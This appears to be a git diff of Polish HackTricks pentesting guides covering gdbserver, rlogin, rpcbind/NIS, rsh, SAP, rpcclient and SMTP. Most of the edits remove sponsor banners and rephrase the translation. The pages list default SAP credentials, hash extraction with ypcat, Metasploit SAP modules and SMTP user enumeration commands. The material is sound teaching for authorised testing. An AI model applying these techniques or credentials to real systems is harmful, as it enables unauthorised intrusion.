- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, eksploatowalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Podstawowe informacje** -**gdbserver** to narzędzie, które umożliwia zdalne debugowanie programów. Działa obok programu, który wymaga debugowania na tym samym systemie, znanym jako "cel". Ta konfiguracja pozwala **GNU Debugger** na połączenie z innej maszyny, "gospodarza", gdzie przechowywany jest kod źródłowy i binarna kopia debugowanego programu. Połączenie między **gdbserver** a debuggerem może być realizowane przez TCP lub linię szeregową, co pozwala na wszechstronne konfiguracje debugowania. +**gdbserver** to narzędzie, które umożliwia zdalne debugowanie programów. Działa obok programu, który wymaga debugowania na tym samym systemie, znanym jako "cel". Ta konfiguracja pozwala **GNU Debugger** na połączenie z innej maszyny, "gospodarza", na której przechowywany jest kod źródłowy i binarna kopia debugowanego programu. Połączenie między **gdbserver** a debuggerem może być realizowane przez TCP lub linię szeregową, co pozwala na wszechstronne konfiguracje debugowania. Możesz sprawić, że **gdbserver będzie nasłuchiwać na dowolnym porcie** i w tej chwili **nmap nie jest w stanie rozpoznać usługi**. @@ -181,12 +173,4 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd() ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md index 1533ed357..6d66a399f 100644 --- a/src/network-services-pentesting/pentesting-rlogin.md +++ b/src/network-services-pentesting/pentesting-rlogin.md @@ -2,13 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Podstawowe informacje -W przeszłości **rlogin** był szeroko wykorzystywany do zdalnych zadań administracyjnych. Jednak z powodu obaw dotyczących jego bezpieczeństwa, został w dużej mierze zastąpiony przez **slogin** i **ssh**. Te nowsze metody zapewniają lepsze bezpieczeństwo dla połączeń zdalnych. +W przeszłości **rlogin** był szeroko stosowany do zdalnych zadań administracyjnych. Jednak z powodu obaw dotyczących jego bezpieczeństwa, został w dużej mierze zastąpiony przez **slogin** i **ssh**. Te nowsze metody oferują lepsze bezpieczeństwo dla połączeń zdalnych. **Domyślny port:** 513 ``` @@ -30,8 +27,4 @@ rlogin -l ``` find / -name .rhosts ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md index 7160c018e..3e7bf1194 100644 --- a/src/network-services-pentesting/pentesting-rpcbind.md +++ b/src/network-services-pentesting/pentesting-rpcbind.md @@ -2,10 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Podstawowe informacje **Portmapper** to usługa, która jest wykorzystywana do mapowania portów usług sieciowych na numery programów **RPC** (Remote Procedure Call). Działa jako kluczowy komponent w **systemach opartych na Unixie**, ułatwiając wymianę informacji między tymi systemami. **Port** związany z **Portmapper** jest często skanowany przez atakujących, ponieważ może ujawniać cenne informacje. Informacje te obejmują typ działającego **systemu operacyjnego Unix (OS)** oraz szczegóły dotyczące dostępnych usług w systemie. Dodatkowo, **Portmapper** jest powszechnie używany w połączeniu z **NFS (Network File System)**, **NIS (Network Information Service)** i innymi **usługami opartymi na RPC**, aby skutecznie zarządzać usługami sieciowymi. @@ -42,7 +38,7 @@ Badanie **NIS** podatności obejmuje proces dwustopniowy, zaczynając od identyf ![](<../images/image (859).png>) -Podróż eksploracyjna zaczyna się od zainstalowania niezbędnych pakietów (`apt-get install nis`). Następny krok wymaga użycia `ypwhich`, aby potwierdzić obecność serwera NIS, pingując go za pomocą nazwy domeny i adresu IP serwera, zapewniając, że te elementy są zanonimizowane dla bezpieczeństwa. +Podróż eksploracyjna zaczyna się od zainstalowania niezbędnych pakietów (`apt-get install nis`). Kolejny krok wymaga użycia `ypwhich`, aby potwierdzić obecność serwera NIS, pingując go za pomocą nazwy domeny i adresu IP serwera, zapewniając, że te elementy są zanonimizowane dla bezpieczeństwa. Ostatni i kluczowy krok obejmuje polecenie `ypcat`, aby wydobyć wrażliwe dane, szczególnie zaszyfrowane hasła użytkowników. Te hashe, po złamaniu za pomocą narzędzi takich jak **John the Ripper**, ujawniają informacje o dostępie do systemu i uprawnieniach. ```bash @@ -68,7 +64,7 @@ Jeśli znajdziesz usługę **rusersd** wymienioną w ten sposób: ![](<../images/image (1041).png>) -Możesz wyliczyć użytkowników na maszynie. Aby dowiedzieć się jak, przeczytaj [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). +Możesz zenumerować użytkowników na maszynie. Aby dowiedzieć się jak, przeczytaj [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md). ## Ominięcie filtrowanego portu portmapper @@ -78,15 +74,11 @@ Podczas przeprowadzania **skanowania nmap** i odkrywania otwartych portów NFS z - `Portmap` -## Laboratoria do praktyki +## Laboratoria do ćwiczeń - Ćwicz te techniki w [**maszynie Irked HTB**](https://app.hackthebox.com/machines/Irked). -
- -{% embed url="https://websec.nl/" %} - -## Automatyczne komendy HackTricks +## Automatyczne polecenia HackTricks ``` Protocol_Name: Portmapper #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md index 13d5ec794..5ea9bcd56 100644 --- a/src/network-services-pentesting/pentesting-rsh.md +++ b/src/network-services-pentesting/pentesting-rsh.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} - ## Podstawowe informacje Do uwierzytelniania wykorzystywane były pliki **.rhosts** wraz z **/etc/hosts.equiv** przez **Rsh**. Uwierzytelnianie opierało się na adresach IP i systemie nazw domenowych (DNS). Łatwość fałszowania adresów IP, szczególnie w sieci lokalnej, stanowiła istotną lukę. diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 95b96be8e..97dba0546 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -1,16 +1,12 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # Wprowadzenie do SAP SAP oznacza Systemy Aplikacji i Produktów w Przetwarzaniu Danych. SAP, z definicji, jest również nazwą oprogramowania ERP \(Enterprise Resource Planning\) oraz nazwą firmy. System SAP składa się z szeregu w pełni zintegrowanych modułów, które obejmują praktycznie każdy aspekt zarządzania biznesem. -Każda instancja SAP \(lub SID\) składa się z trzech warstw: bazy danych, aplikacji i prezentacji\), każdy krajobraz zazwyczaj składa się z czterech instancji: dev, test, QA i produkcja. Każda z warstw może być w pewnym stopniu wykorzystana, ale największy efekt można uzyskać poprzez **atakowanie bazy danych**. +Każda instancja SAP \(lub SID\) składa się z trzech warstw: bazy danych, aplikacji i prezentacji\), każdy krajobraz zazwyczaj składa się z czterech instancji: dev, test, QA i produkcji. Każda z warstw może być w pewnym stopniu wykorzystana, ale największy efekt można uzyskać poprzez **atakowanie bazy danych**. -Każda instancja SAP jest podzielona na klientów. Każdy z nich ma użytkownika SAP\*, odpowiednik „root” w aplikacji. Przy początkowym tworzeniu, ten użytkownik SAP\* otrzymuje domyślne hasło: „060719992” \(więcej domyślnych haseł poniżej\). Możesz być zaskoczony, jak często te **hasła nie są zmieniane w środowiskach testowych lub deweloperskich**! +Każda instancja SAP jest podzielona na klientów. Każdy z nich ma użytkownika SAP\*, odpowiednika „root” w aplikacji. Przy początkowym tworzeniu, ten użytkownik SAP\* otrzymuje domyślne hasło: „060719992” \(więcej domyślnych haseł poniżej\). Możesz być zaskoczony, gdybyś wiedział, jak często te **hasła nie są zmieniane w środowiskach testowych lub deweloperskich**! Spróbuj uzyskać dostęp do powłoki dowolnego serwera, używając nazwy użytkownika <SID>adm. Bruteforcing może pomóc, jednak może istnieć mechanizm blokady konta. @@ -114,8 +110,8 @@ SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` -- Uruchom Wireshark, a następnie uwierzytelnij się w kliencie \(SAP GUI\) używając danych logowania, które otrzymałeś, ponieważ niektórzy klienci przesyłają dane logowania bez SSL. Istnieją dwa znane wtyczki do Wireshark, które mogą analizować główne nagłówki używane przez protokół SAP DIAG: SecureAuth Labs SAP dissection plug-in oraz SAP DIAG plugin by Positive Research Center. -- Sprawdź podwyższenia uprawnień, takie jak używanie niektórych kodów transakcji SAP \(tcodes\) dla użytkowników o niskich uprawnieniach: +- Uruchom Wireshark, a następnie uwierzytelnij się w kliencie \(SAP GUI\) używając danych logowania, które otrzymałeś, ponieważ niektórzy klienci przesyłają dane logowania bez SSL. Istnieją dwa znane wtyczki do Wireshark, które mogą analizować główne nagłówki używane przez protokół SAP DIAG: wtyczka SecureAuth Labs SAP dissection oraz wtyczka SAP DIAG od Positive Research Center. +- Sprawdź pod kątem eskalacji uprawnień, takich jak używanie niektórych kodów transakcji SAP \(tcodes\) dla użytkowników o niskich uprawnieniach: - SU01 - Aby tworzyć i utrzymywać użytkowników - SU01D - Aby wyświetlać użytkowników - SU10 - Do masowej konserwacji @@ -123,7 +119,7 @@ BWDEVELOPER:Down1oad:001 - SM19 - Audyt bezpieczeństwa - konfiguracja - SE84 - System informacyjny dla autoryzacji SAP R/3 - Sprawdź, czy możesz wykonywać polecenia systemowe / uruchamiać skrypty w kliencie. -- Sprawdź, czy możesz wykonać XSS w BAPI Explorer +- Sprawdź, czy możesz przeprowadzić XSS na BAPI Explorer # Testowanie interfejsu webowego @@ -134,7 +130,7 @@ BWDEVELOPER:Down1oad:001 - Szukaj powszechnych luk w zabezpieczeniach webowych \(Zobacz OWASP Top 10\), ponieważ w niektórych miejscach występują luki XSS, RCE, XXE itp. - Sprawdź metodologię testowania luk w zabezpieczeniach webowych Jasona Haddixa [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm). -- Ominięcie uwierzytelnienia za pomocą manipulacji metodą? Może :\) +- Ominięcie uwierzytelnienia przez manipulację metodą? Może :\) - Otwórz `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, a następnie naciśnij przycisk „Wybierz”, a w otwartym oknie naciśnij „Szukaj”. Powinieneś zobaczyć listę użytkowników SAP \(Referencja do luki: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\) - Czy dane logowania są przesyłane przez HTTP? Jeśli tak, to jest to uznawane za P3 na podstawie [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) Bugcrowd: Uszkodzona autoryzacja i zarządzanie sesjami \| Słaba funkcja logowania przez HTTP. Wskazówka: Sprawdź również [http://SAP:50000/startPage](http://sap:50000/startPage) lub portale logowania :\) @@ -172,13 +168,13 @@ BWDEVELOPER:Down1oad:001 ``` -# Parametry konfiguracyjne +# Parametry Konfiguracji Jeśli masz poprawne dane logowania podczas pentestów lub udało ci się zalogować do SAP GUI za pomocą podstawowych poświadczeń, możesz sprawdzić wartości parametrów. Wiele podstawowych i niestandardowych wartości parametrów konfiguracyjnych jest uważanych za luki. Możesz sprawdzić wartości parametrów zarówno ręcznie, jak i automatycznie, używając skryptów (np. [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)). -## Ręczne sprawdzanie parametrów +## Ręczne Sprawdzanie Parametrów Przechodząc do kodu transakcji `RSPFPAR`, możesz zapytać o różne parametry i sprawdzić ich wartości. @@ -186,40 +182,40 @@ Tabela poniżej zawiera zdefiniowane parametry oraz warunki, na podstawie który Na przykład, jeśli gw/reg_no_conn_info jest ustawione na mniej niż 255 (`<255`), powinno być to uznawane za zagrożenie. Podobnie, jeśli icm/security_log jest równe dwa (`2`), również będzie to możliwe zagrożenie. -| Parametr | Ograniczenie | Opis | -| ---------------------------------------------- | ------------ | ----------------------------------------------------------------------------- | -| `auth/object_disabling_active` | `Y` | Wskazuje, czy wyłączanie obiektów jest aktywne. | -| `auth/rfc_authority_check` | `<2` | Ustala poziom kontroli uprawnień dla RFC. | -| `auth/no_check_in_some_cases` | `Y` | Określa, czy kontrole są pomijane w niektórych przypadkach. | -| `bdc/bdel_auth_check` | `FALSE` | Określa, czy kontrole autoryzacji są egzekwowane w BDC. | -| `gw/reg_no_conn_info` | `<255` | Ogranicza liczbę znaków dla informacji o numerze rejestracyjnym połączenia. | -| `icm/security_log` | `2` | Definiuje poziom logowania bezpieczeństwa dla ICM (Internet Communication Manager). | -| `icm/server_port_0` | `Display` | Określa port serwera dla ICM (port 0). | -| `icm/server_port_1` | `Display` | Określa port serwera dla ICM (port 1). | -| `icm/server_port_2` | `Display` | Określa port serwera dla ICM (port 2). | -| `login/password_compliance_to_current_policy` | `0` | Egzekwuje zgodność haseł z aktualną polityką. | -| `login/no_automatic_user_sapstar` | `0` | Wyłącza automatyczne przypisywanie użytkownika SAPSTAR. | -| `login/min_password_specials` | `0` | Minimalna liczba znaków specjalnych wymagana w hasłach. | -| `login/min_password_lng` | `<8` | Minimalna długość wymagana dla haseł. | -| `login/min_password_lowercase` | `0` | Minimalna liczba małych liter wymagana w hasłach. | -| `login/min_password_uppercase` | `0` | Minimalna liczba dużych liter wymagana w hasłach. | -| `login/min_password_digits` | `0` | Minimalna liczba cyfr wymagana w hasłach. | -| `login/min_password_letters` | `1` | Minimalna liczba liter wymagana w hasłach. | -| `login/fails_to_user_lock` | `<5` | Liczba nieudanych prób logowania przed zablokowaniem konta użytkownika. | -| `login/password_expiration_time` | `>90` | Czas wygaśnięcia hasła w dniach. | -| `login/password_max_idle_initial` | `<14` | Maksymalny czas bezczynności w minutach przed ponownym wprowadzeniem hasła (początkowy). | -| `login/password_max_idle_productive` | `<180` | Maksymalny czas bezczynności w minutach przed ponownym wprowadzeniem hasła (produktywny). | -| `login/password_downwards_compatibility` | `0` | Określa, czy włączona jest zgodność wsteczna dla haseł. | -| `rfc/reject_expired_passwd` | `0` | Określa, czy wygasłe hasła są odrzucane dla RFC (Remote Function Calls). | -| `rsau/enable` | `0` | Włącza lub wyłącza kontrole RS AU (Autoryzacja). | -| `rdisp/gui_auto_logout` | `<5` | Określa czas w minutach przed automatycznym wylogowaniem sesji GUI. | -| `service/protectedwebmethods` | `SDEFAULT` | Określa domyślne ustawienia dla chronionych metod webowych. | -| `snc/enable` | `0` | Włącza lub wyłącza Bezpieczną Komunikację Sieciową (SNC). | -| `ucon/rfc/active` | `0` | Aktywuje lub dezaktywuje RFC UCON (Unified Connectivity). | +| Parametr | Ograniczenie | Opis | +| --------------------------------------------- | ------------ | ----------------------------------------------------------------------------- | +| `auth/object_disabling_active` | `Y` | Wskazuje, czy wyłączanie obiektów jest aktywne. | +| `auth/rfc_authority_check` | `<2` | Ustala poziom kontroli uprawnień dla RFC. | +| `auth/no_check_in_some_cases` | `Y` | Określa, czy kontrole są pomijane w niektórych przypadkach. | +| `bdc/bdel_auth_check` | `FALSE` | Określa, czy kontrole autoryzacji są egzekwowane w BDC. | +| `gw/reg_no_conn_info` | `<255` | Ogranicza liczbę znaków dla informacji o numerze rejestracyjnym połączenia. | +| `icm/security_log` | `2` | Definiuje poziom logowania bezpieczeństwa dla ICM (Internet Communication Manager). | +| `icm/server_port_0` | `Display` | Określa port serwera dla ICM (port 0). | +| `icm/server_port_1` | `Display` | Określa port serwera dla ICM (port 1). | +| `icm/server_port_2` | `Display` | Określa port serwera dla ICM (port 2). | +| `login/password_compliance_to_current_policy` | `0` | Egzekwuje zgodność haseł z aktualną polityką. | +| `login/no_automatic_user_sapstar` | `0` | Wyłącza automatyczne przypisywanie użytkownika SAPSTAR. | +| `login/min_password_specials` | `0` | Minimalna liczba znaków specjalnych wymagana w hasłach. | +| `login/min_password_lng` | `<8` | Minimalna długość wymagana dla haseł. | +| `login/min_password_lowercase` | `0` | Minimalna liczba małych liter wymagana w hasłach. | +| `login/min_password_uppercase` | `0` | Minimalna liczba dużych liter wymagana w hasłach. | +| `login/min_password_digits` | `0` | Minimalna liczba cyfr wymagana w hasłach. | +| `login/min_password_letters` | `1` | Minimalna liczba liter wymagana w hasłach. | +| `login/fails_to_user_lock` | `<5` | Liczba nieudanych prób logowania przed zablokowaniem konta użytkownika. | +| `login/password_expiration_time` | `>90` | Czas wygaśnięcia hasła w dniach. | +| `login/password_max_idle_initial` | `<14` | Maksymalny czas bezczynności w minutach przed ponownym wprowadzeniem hasła (początkowy). | +| `login/password_max_idle_productive` | `<180` | Maksymalny czas bezczynności w minutach przed ponownym wprowadzeniem hasła (produktywny). | +| `login/password_downwards_compatibility` | `0` | Określa, czy włączona jest zgodność wsteczna dla haseł. | +| `rfc/reject_expired_passwd` | `0` | Określa, czy wygasłe hasła są odrzucane dla RFC (Remote Function Calls). | +| `rsau/enable` | `0` | Włącza lub wyłącza kontrole RS AU (Autoryzacja). | +| `rdisp/gui_auto_logout` | `<5` | Określa czas w minutach przed automatycznym wylogowaniem sesji GUI. | +| `service/protectedwebmethods` | `SDEFAULT` | Określa domyślne ustawienia dla chronionych metod webowych. | +| `snc/enable` | `0` | Włącza lub wyłącza Bezpieczną Komunikację Sieciową (SNC). | +| `ucon/rfc/active` | `0` | Aktywuje lub dezaktywuje RFC UCON (Unified Connectivity). | -## Skrypt do sprawdzania parametrów +## Skrypt do Sprawdzania Parametrów -Ze względu na liczbę parametrów, możliwe jest również wyeksportowanie ich wszystkich do pliku .XML i użycie skryptu [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV), który sprawdzi wszystkie powyższe parametry i wydrukuje ich wartości z odpowiednim rozróżnieniem. +Z powodu liczby parametrów, możliwe jest również wyeksportowanie ich wszystkich do pliku .XML i użycie skryptu [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV), który sprawdzi wszystkie powyższe parametry i wydrukuje ich wartości z odpowiednim rozróżnieniem. ``` ./SAPPV.sh EXPORT.XML @@ -252,7 +248,7 @@ Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check" # Atak! - Sprawdź, czy działa na starych serwerach lub technologiach, takich jak Windows 2000. -- Zaplanuj możliwe exploity / ataki, istnieje wiele modułów Metasploit do odkrywania SAP \(moduły pomocnicze\) i exploitów: +- Zaplanuj możliwe exploity / ataki, istnieje wiele modułów Metasploit do odkrywania SAP (moduły pomocnicze) i exploitów: ```text msf > search sap Matching Modules @@ -347,7 +343,7 @@ bizploit> start ``` # Inne Przydatne Narzędzia do Testowania -- [PowerSAP](https://github.com/airbus-seclab/powersap) - Narzędzie Powershell do oceny bezpieczeństwa sap +- [PowerSAP](https://github.com/airbus-seclab/powersap) - Narzędzie Powershell do oceny bezpieczeństwa SAP - [Burp Suite](https://portswigger.net/burp) - niezbędne do fuzzingu katalogów i ocen bezpieczeństwa w sieci - [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteka Pythona do tworzenia pakietów protokołu sieciowego SAP - [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Pomoc nmap w wykrywaniu SAP/ERP @@ -365,8 +361,5 @@ bizploit> start - [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/) - [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index adbbe5fec..1cb96a3ff 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Zgłębiaj swoją wiedzę w zakresie **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ### Przegląd identyfikatorów względnych (RID) i identyfikatorów zabezpieczeń (SID) @@ -64,7 +59,7 @@ done #### Dodatkowe operacje z SID-ami -- **SID-y według nazwy** używając: `lookupnames `. +- **SID-y po nazwie** używając: `lookupnames `. - **Więcej SID-ów** przez: `lsaenumsid`. - **Cykliczne RID do sprawdzenia więcej SID-ów** jest wykonywane przez: `lookupsids `. @@ -86,12 +81,7 @@ done | dsroledominfo | LSARPC-DS | Uzyskaj informacje o głównej domenie | | dsenumdomtrusts | Enumeruj zaufane domeny w obrębie lasu AD | | -Aby **lepiej zrozumieć**, jak działają narzędzia _**samrdump**_ **i** _**rpcdump**_, powinieneś przeczytać [**Pentesting MSRPC**](../135-pentesting-msrpc.md). +Aby **lepiej zrozumieć** jak działają narzędzia _**samrdump**_ **i** _**rpcdump**_ powinieneś przeczytać [**Pentesting MSRPC**](../135-pentesting-msrpc.md). -
- -Zgłębiaj swoją wiedzę w **Bezpieczeństwie Mobilnym** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 1f00e6dd0..07799ea97 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -2,19 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz wykorzystaj zautomatyzowane exploity do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## **Podstawowe informacje** -**Protokół Prostej Wymiany Pocztowej (SMTP)** to protokół wykorzystywany w ramach zestawu TCP/IP do **wysyłania i odbierania e-maili**. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często jest stosowany razem z **POP3 lub IMAP**. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie. +**Simple Mail Transfer Protocol (SMTP)** to protokół wykorzystywany w ramach zestawu TCP/IP do **wysyłania i odbierania e-maili**. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często stosuje się w połączeniu z **POP3 lub IMAP**. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie. -W praktyce powszechnie zdarza się, że **programy e-mailowe** wykorzystują **SMTP do wysyłania e-maili**, podczas gdy korzystają z **POP3 lub IMAP do ich odbierania**. W systemach opartych na Unix, **sendmail** wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, **Microsoft Exchange** oferuje serwer SMTP i opcję dodania wsparcia dla POP3. +W praktyce powszechnie zdarza się, że **programy e-mailowe** wykorzystują **SMTP do wysyłania e-maili**, podczas gdy korzystają z **POP3 lub IMAP do ich odbierania**. W systemach opartych na Unix, **sendmail** wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, **Microsoft Exchange** oferuje serwer SMTP i możliwość dodania wsparcia dla POP3. **Domyślny port:** 25,465(ssl),587(ssl) ``` @@ -25,9 +17,9 @@ PORT STATE SERVICE REASON VERSION Jeśli masz możliwość **sprawić, aby ofiara wysłała ci email** (na przykład za pomocą formularza kontaktowego na stronie), zrób to, ponieważ **możesz dowiedzieć się o wewnętrznej topologii** ofiary, oglądając nagłówki maila. -Możesz również uzyskać email z serwera SMTP, próbując **wysłać do tego serwera email na nieistniejący adres** (ponieważ serwer wyśle do atakującego wiadomość NDN). Ale upewnij się, że wysyłasz email z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN. +Możesz także uzyskać email z serwera SMTP, próbując **wysłać do tego serwera email na nieistniejący adres** (ponieważ serwer wyśle do atakującego wiadomość NDN). Ale upewnij się, że wysyłasz email z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN. -Powinieneś również spróbować **wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje** w nagłówkach, takie jak: `X-Virus-Scanned: by av.domain.com`\ +Powinieneś także spróbować **wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje** w nagłówkach, takie jak: `X-Virus-Scanned: by av.domain.com`\ Powinieneś wysłać plik testowy EICAR.\ Wykrycie **AV** może pozwolić ci na wykorzystanie **znanych luk w zabezpieczeniach.** @@ -70,7 +62,7 @@ Lub **zautomatyzuj** to za pomocą wtyczki **nmap** `smtp-ntlm-info.nse` ### Nazwa serwera wewnętrznego - Ujawnienie informacji -Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy polecenie "MAIL FROM" jest wydawane bez pełnego adresu, ujawniając swoją wewnętrzną nazwę: +Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy polecenie "MAIL FROM" jest wydawane bez pełnego adresu, ujawniając swoją nazwę wewnętrzną: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all @@ -156,19 +148,11 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
+## DSN Reports -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** +**Raporty powiadomienia o statusie dostawy**: Jeśli wyślesz **email** do organizacji na **nieprawidłowy adres**, organizacja powiadomi, że adres był nieprawidłowy, wysyłając **wiadomość z powrotem do Ciebie**. **Nagłówki** zwróconego emaila będą **zawierać** możliwe **wrażliwe informacje** (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym). -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Raporty DSN - -**Raporty powiadomień o statusie dostawy**: Jeśli wyślesz **email** do organizacji na **nieprawidłowy adres**, organizacja powiadomi, że adres był nieprawidłowy, wysyłając **wiadomość zwrotną do Ciebie**. **Nagłówki** zwróconego emaila będą **zawierać** możliwe **wrażliwe informacje** (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym). - -## [Polecenia](smtp-commands.md) +## [Commands](smtp-commands.md) ### Wysyłanie emaila z konsoli linux ```bash @@ -253,7 +237,7 @@ Organizacje są chronione przed wysyłaniem nieautoryzowanych e-maili w ich imie > SPF [został "wycofany" w 2014 roku](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Oznacza to, że zamiast tworzyć **rekord TXT** w `_spf.domain.com`, tworzysz go w `domain.com`, używając **tej samej składni**.\ > Ponadto, aby ponownie wykorzystać wcześniejsze rekordy spf, dość powszechne jest znalezienie czegoś takiego jak `"v=spf1 include:_spf.google.com ~all"` -**Framework Polityki Nadawcy** (SPF) to mechanizm, który umożliwia agentom transferu poczty (MTA) weryfikację, czy host wysyłający e-mail jest autoryzowany, zapytując o listę autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Lista ta, która określa adresy IP/zakresy, domeny i inne podmioty **autoryzowane do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF. +**Framework Polityki Nadawcy** (SPF) to mechanizm, który umożliwia Agentom Transferu Poczty (MTA) weryfikację, czy host wysyłający e-mail jest autoryzowany, zapytując o listę autoryzowanych serwerów pocztowych 